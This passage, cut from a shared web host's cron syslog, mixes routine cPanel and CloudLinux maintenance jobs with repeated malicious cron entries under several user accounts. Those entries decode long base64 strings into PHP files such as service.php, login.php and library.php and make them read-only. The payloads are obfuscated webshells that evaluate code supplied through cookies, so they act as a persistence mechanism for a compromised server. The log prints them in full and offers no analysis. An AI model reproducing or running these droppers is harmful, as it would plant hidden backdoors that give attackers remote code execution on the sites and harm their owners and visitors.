skX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:09:01 medusa CROND[27214]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:09:01 medusa CROND[27216]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:09:01 medusa CROND[27217]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:09:01 medusa CROND[27218]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:09:01 medusa CROND[27219]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 20:09:01 medusa CROND[27215]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:09:01 medusa CROND[27239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:09:01 medusa CROND[27241]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:10:01 medusa CROND[4631]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[4629]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:10:01 medusa CROND[4981]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:10:01 medusa CROND[4982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:10:01 medusa CROND[4983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[4985]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[4986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[4987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:10:01 medusa CROND[4991]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[4993]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:10:01 medusa CROND[4989]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[4996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:10:01 medusa CROND[4995]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[5002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 20:10:01 medusa CROND[5011]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:10:01 medusa CROND[5009]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 20:10:01 medusa CROND[5014]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:10:01 medusa CROND[5007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:10:01 medusa CROND[4992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:10:01 medusa CROND[5010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:10:01 medusa CROND[5012]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:10:01 medusa CROND[5013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 20:10:01 medusa CROND[5025]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:10:01 medusa CROND[5028]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:10:01 medusa CROND[5026]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:10:01 medusa CROND[5034]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:10:01 medusa CROND[5043]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:10:01 medusa CROND[5032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 20:11:01 medusa CROND[16113]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:11:01 medusa CROND[16145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:11:01 medusa CROND[16214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:11:01 medusa CROND[16347]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:11:01 medusa CROND[16350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:11:01 medusa CROND[16351]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:11:01 medusa CROND[16359]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:11:01 medusa CROND[16361]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgI